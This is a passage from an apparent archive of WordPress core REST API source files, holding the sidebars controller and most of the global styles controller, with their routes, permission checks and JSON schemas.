					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'template'       => array(
					'type'        => array( 'array' ),
					'description' => __( 'The block template associated with the post type.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'template_lock'  => array(
					'type'        => array( 'string', 'boolean' ),
					'enum'        => array( 'all', 'insert', 'contentOnly', false ),
					'description' => __( 'The template_lock associated with the post type, or false if none.' ),
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-sidebars-controller.php000064400000037510151024200430015734 0ustar00<?php
/**
 * REST API: WP_REST_Sidebars_Controller class
 *
 * Original code from {@link https://github.com/martin-pettersson/wp-rest-api-sidebars Martin Pettersson (martin_pettersson@outlook.com)}.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class used to manage a site's sidebars.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Sidebars_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Sidebars controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'sidebars';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id'      => array(
							'description' => __( 'The id of a registered sidebar' ),
							'type'        => 'string',
						),
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( $this->check_read_permission( $sidebar ) ) {
				return true;
			}
		}

		return $this->do_permissions_check();
	}

	/**
	 * Retrieves the list of sidebars (active or inactive).
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$this->retrieve_widgets();

		$data              = array();
		$permissions_check = $this->do_permissions_check();

		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) {
				continue;
			}

			$data[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $sidebar, $request )
			);
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to get a single sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( $sidebar && $this->check_read_permission( $sidebar ) ) {
			return true;
		}

		return $this->do_permissions_check();
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param array $sidebar The registered sidebar configuration.
	 * @return bool Whether the side can be read.
	 */
	protected function check_read_permission( $sidebar ) {
		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Retrieves one sidebar from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( ! $sidebar ) {
			return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if a given request has access to update sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->do_permissions_check();
	}

	/**
	 * Updates a sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( isset( $request['widgets'] ) ) {
			$sidebars = wp_get_sidebars_widgets();

			foreach ( $sidebars as $sidebar_id => $widgets ) {
				foreach ( $widgets as $i => $widget_id ) {
					// This automatically removes the passed widget IDs from any other sidebars in use.
					if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) {
						unset( $sidebars[ $sidebar_id ][ $i ] );
					}

					// This automatically removes omitted widget IDs to the inactive sidebar.
					if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) {
						$sidebars['wp_inactive_widgets'][] = $widget_id;
					}
				}
			}

			$sidebars[ $request['id'] ] = $request['widgets'];

			wp_set_sidebars_widgets( $sidebars );
		}

		$request['context'] = 'edit';

		$sidebar = $this->get_sidebar( $request['id'] );

		/**
		 * Fires after a sidebar is updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param array           $sidebar The updated sidebar.
		 * @param WP_REST_Request $request Request object.
		 */
		do_action( 'rest_save_sidebar', $sidebar, $request );

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function do_permissions_check() {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to access the widgets screen.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the registered sidebar with the given id.
	 *
	 * @since 5.8.0
	 *
	 * @param string|int $id ID of the sidebar.
	 * @return array|null The discovered sidebar, or null if it is not registered.
	 */
	protected function get_sidebar( $id ) {
		return wp_get_sidebar( $id );
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Prepares a single sidebar output for response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global array $wp_registered_sidebars The registered sidebars.
	 * @global array $wp_registered_widgets  The registered widgets.
	 *
	 * @param array           $item    Sidebar instance.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Prepared response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_registered_sidebars, $wp_registered_widgets;

		// Restores the more descriptive, specific name for use within this method.
		$raw_sidebar = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php */
			return apply_filters( 'rest_prepare_sidebar', new WP_REST_Response( array() ), $raw_sidebar, $request );
		}

		$id      = $raw_sidebar['id'];
		$sidebar = array( 'id' => $id );

		if ( isset( $wp_registered_sidebars[ $id ] ) ) {
			$registered_sidebar = $wp_registered_sidebars[ $id ];

			$sidebar['status']        = 'active';
			$sidebar['name']          = isset( $registered_sidebar['name'] ) ? $registered_sidebar['name'] : '';
			$sidebar['description']   = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : '';
			$sidebar['class']         = isset( $registered_sidebar['class'] ) ? $registered_sidebar['class'] : '';
			$sidebar['before_widget'] = isset( $registered_sidebar['before_widget'] ) ? $registered_sidebar['before_widget'] : '';
			$sidebar['after_widget']  = isset( $registered_sidebar['after_widget'] ) ? $registered_sidebar['after_widget'] : '';
			$sidebar['before_title']  = isset( $registered_sidebar['before_title'] ) ? $registered_sidebar['before_title'] : '';
			$sidebar['after_title']   = isset( $registered_sidebar['after_title'] ) ? $registered_sidebar['after_title'] : '';
		} else {
			$sidebar['status']      = 'inactive';
			$sidebar['name']        = $raw_sidebar['name'];
			$sidebar['description'] = '';
			$sidebar['class']       = '';
		}

		if ( wp_is_block_theme() ) {
			$sidebar['status'] = 'inactive';
		}

		$fields = $this->get_fields_for_response( $request );
		if ( rest_is_field_included( 'widgets', $fields ) ) {
			$sidebars = wp_get_sidebars_widgets();
			$widgets  = array_filter(
				isset( $sidebars[ $sidebar['id'] ] ) ? $sidebars[ $sidebar['id'] ] : array(),
				static function ( $widget_id ) use ( $wp_registered_widgets ) {
					return isset( $wp_registered_widgets[ $widget_id ] );
				}
			);

			$sidebar['widgets'] = array_values( $widgets );
		}

		$schema = $this->get_item_schema();
		$data   = array();
		foreach ( $schema['properties'] as $property_id => $property ) {
			if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) {
				$data[ $property_id ] = $sidebar[ $property_id ];
			} elseif ( isset( $property['default'] ) ) {
				$data[ $property_id ] = $property['default'];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $sidebar ) );
		}

		/**
		 * Filters the REST API response for a sidebar.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $raw_sidebar The raw sidebar data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request );
	}

	/**
	 * Prepares links for the sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param array $sidebar Sidebar.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $sidebar ) {
		return array(
			'collection'               => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'                     => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ),
			),
			'https://api.w.org/widget' => array(
				'href'       => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ),
				'embeddable' => true,
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'sidebar',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'ID of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'Unique name identifying the sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'   => array(
					'description' => __( 'Description of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'class'         => array(
					'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_widget' => array(
					'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_widget'  => array(
					'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_title'  => array(
					'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_title'   => array(
					'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'status'        => array(
					'description' => __( 'Status of sidebar.' ),
					'type'        => 'string',
					'enum'        => array( 'active', 'inactive' ),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'widgets'       => array(
					'description' => __( 'Nested widgets.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => array( 'object', 'string' ),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-global-styles-controller.php000064400000051317151024200430016722 0ustar00<?php
/**
 * REST API: WP_REST_Global_Styles_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Base Global Styles REST API Controller.
 */
class WP_REST_Global_Styles_Controller extends WP_REST_Posts_Controller {
	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.6.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => false );

	/**
	 * Constructor.
	 *
	 * @since 6.6.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type = 'wp_global_styles' ) {
		parent::__construct( $post_type );
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/themes/(?P<stylesheet>[\/\s%\w\.\(\)\[\]\@_\-]+)/variations',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_items' ),
					'permission_callback' => array( $this, 'get_theme_items_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description' => __( 'The theme identifier' ),
							'type'        => 'string',
						),
					),
					'allow_batch'         => $this->allow_batch,
				),
			)
		);

		// List themes global styles.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/themes/(?P<stylesheet>%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'[^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?'
			),
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_theme_item' ),
					'permission_callback' => array( $this, 'get_theme_item_permissions_check' ),
					'args'                => array(
						'stylesheet' => array(
							'description'       => __( 'The theme identifier' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
					'allow_batch'         => $this->allow_batch,
				),
			)
		);

		// Lists/updates a single global style variation based on the given id.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id' => array(
							'description'       => __( 'The id of a template' ),
							'type'              => 'string',
							'sanitize_callback' => array( $this, '_sanitize_global_styles_callback' ),
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema'      => array( $this, 'get_public_item_schema' ),
				'allow_batch' => $this->allow_batch,
			)
		);
	}

	/**
	 * Sanitize the global styles ID or stylesheet to decode endpoint.
	 * For example, `wp/v2/global-styles/twentytwentytwo%200.4.0`
	 * would be decoded to `twentytwentytwo 0.4.0`.
	 *
	 * @since 5.9.0
	 *
	 * @param string $id_or_stylesheet Global styles ID or stylesheet.
	 * @return string Sanitized global styles ID or stylesheet.
	 */
	public function _sanitize_global_styles_callback( $id_or_stylesheet ) {
		return urldecode( $id_or_stylesheet );
	}

	/**
	 * Get the post, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_post( $id ) {
		$error = new WP_Error(
			'rest_global_styles_not_found',
			__( 'No global styles config exist with that id.' ),
			array( 'status' => 404 )
		);

		$id = (int) $id;
		if ( $id <= 0 ) {
			return $error;
		}

		$post = get_post( $id );
		if ( empty( $post ) || empty( $post->ID ) || $this->post_type !== $post->post_type ) {
			return $error;
		}

		return $post;
	}

	/**
	 * Checks if a given request has access to read a single global style.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( 'edit' === $request['context'] && $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! $this->check_read_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to view this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a global style can be read.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		return current_user_can( 'read_post', $post->ID );
	}

	/**
	 * Checks if a given request has access to write a single global styles config.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( $post && ! $this->check_update_permission( $post ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this global style.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares a single global styles config for update.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added validation of styles.css property.
	 * @since 6.6.0 Added registration of block style variations from theme.json sources (theme.json, user theme.json, partials).
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Prepared item on success. WP_Error on when the custom CSS is not valid.
	 */
	protected function prepare_item_for_database( $request ) {
		$changes     = new stdClass();
		$changes->ID = $request['id'];

		$post            = get_post( $request['id'] );
		$existing_config = array();
		if ( $post ) {
			$existing_config     = json_decode( $post->post_content, true );
			$json_decoding_error = json_last_error();
			if ( JSON_ERROR_NONE !== $json_decoding_error || ! isset( $existing_config['isGlobalStylesUserThemeJSON'] ) ||
				! $existing_config['isGlobalStylesUserThemeJSON'] ) {
				$existing_config = array();
			}
		}

		if ( isset( $request['styles'] ) || isset( $request['settings'] ) ) {
			$config = array();
			if ( isset( $request['styles'] ) ) {
				if ( isset( $request['styles']['css'] ) ) {
					$css_validation_result = $this->validate_custom_css( $request['styles']['css'] );
					if ( is_wp_error( $css_validation_result ) ) {
						return $css_validation_result;
					}
				}
				$config['styles'] = $request['styles'];
			} elseif ( isset( $existing_config['styles'] ) ) {
				$config['styles'] = $existing_config['styles'];
			}

			// Register theme-defined variations e.g. from block style variation partials under `/styles`.
			$variations = WP_Theme_JSON_Resolver::get_style_variations( 'block' );
			wp_register_block_style_variations_from_theme_json_partials( $variations );

			if ( isset( $request['settings'] ) ) {
				$config['settings'] = $request['settings'];
			} elseif ( isset( $existing_config['settings'] ) ) {
				$config['settings'] = $existing_config['settings'];
			}
			$config['isGlobalStylesUserThemeJSON'] = true;
			$config['version']                     = WP_Theme_JSON::LATEST_SCHEMA;
			$changes->post_content                 = wp_json_encode( $config );
		}

		// Post title.
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		}

		return $changes;
	}

	/**
	 * Prepare a global styles config output for response.
	 *
	 * @since 5.9.0
	 * @since 6.6.0 Added custom relative theme file URIs to `_links`.
	 *
	 * @param WP_Post         $post    Global Styles post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		$raw_config                       = json_decode( $post->post_content, true );
		$is_global_styles_user_theme_json = isset( $raw_config['isGlobalStylesUserThemeJSON'] ) && true === $raw_config['isGlobalStylesUserThemeJSON'];
		$config                           = array();
		$theme_json                       = null;
		if ( $is_global_styles_user_theme_json ) {
			$theme_json = new WP_Theme_JSON( $raw_config, 'custom' );
			$config     = $theme_json->get_raw_data();
		}

		// Base fields for every post.
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = ! empty( $config['settings'] ) && $is_global_styles_user_theme_json ? $config['settings'] : new stdClass();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$data['styles'] = ! empty( $config['styles'] ) && $is_global_styles_user_theme_json ? $config['styles'] : new stdClass();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post->ID );

			// Only return resolved URIs for get requests to user theme JSON.
			if ( $theme_json ) {
				$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json );
				if ( ! empty( $resolved_theme_uris ) ) {
					$links['https://api.w.org/theme-file'] = $resolved_theme_uris;
				}
			}

			$response->add_links( $links );
			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );
				$self    = $links['self']['href'];
				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		return $response;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.9.0
	 * @since 6.3.0 Adds revisions count and rest URL href to version-history.
	 *
	 * @param integer $id ID.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $id ) {
		$base = sprintf( '%s/%s', $this->namespace, $this->rest_base );

		$links = array(
			'self'  => array(
				'href' => rest_url( trailingslashit( $base ) . $id ),
			),
			'about' => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( post_type_supports( $this->post_type, 'revisions' ) ) {
			$revisions                = wp_get_latest_revision_id_and_total_count( $id );
			$revisions_count          = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base           = sprintf( '/%s/%d/revisions', $base, $id );
			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);
		}

		return $links;
	}

	/**
	 * Get the link relations available for the post and current user.
	 *
	 * @since 5.9.0
	 * @since 6.2.0 Added 'edit-css' action.
	 * @since 6.6.0 Added $post and $request parameters.
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {
		$rels = array();

		$post_type = get_post_type_object( $post->post_type );
		if ( current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'edit_css' ) ) {
			$rels[] = 'https://api.w.org/action-edit-css';
		}

		return $rels;
	}

	/**
	 * Retrieves the query params for the global styles collection.
	 *
	 * @since 5.9.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array();
	}

	/**
	 * Retrieves the global styles type' schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			'properties' => array(
				'id'       => array(
					'description' => __( 'ID of global styles config.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'styles'   => array(
					'description' => __( 'Global styles.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'settings' => array(
					'description' => __( 'Global settings.' ),
					'type'        => array( 'object' ),
					'context'     => array( 'view', 'edit' ),
				),
				'title'    => array(
					'description' => __( 'Title of the global styles variation.' ),
					'type'        => array( 'object', 'string' ),
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'Title for the global styles variation, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
						),
						'rendered' => array(
							'description' => __( 'HTML title for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit', 'embed' ),
							'readonly'    => true,
						),
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Checks if a given request has access to read a single theme global styles config.
	 *
	 * @since 5.9.0
	 * @since 6.7.0 Allow users with edit post capabilities to view theme global styles.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_theme_item_permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_posts capability.
		 * This capability is required to view global styles.
		 */
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		/*
		 * Verify if the current user has edit_theme_options capability.
		 */
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_read_global_styles',
			__( 'Sorry, you are not allowed to access the global styles on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns the given theme global styles config.
	 *
	 * @since 5.9.0
	 * @since 6.6.0 Added custom relative theme file URIs to `_links`.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_theme_item( $request ) {
		if ( get_stylesheet() !== $request['stylesheet'] ) {
			// This endpoint only supports the active theme for now.
			return new WP_Error(
				'rest_theme_not_found',
				__( 'Theme not found.' ),
				array( 'status' => 404 )
			);
		}

		$theme  = WP_Theme_JSON_Resolver::get_merged_data( 'theme' );
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'settings', $fields ) ) {
			$data['settings'] = $theme->get_settings();
		}

		if ( rest_is_field_included( 'styles', $fields ) ) {
			$raw_data       = $theme->get_raw_data();
			$data['styles'] = isset( $raw_data['styles'] ) ? $raw_data['styles'] : array();
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
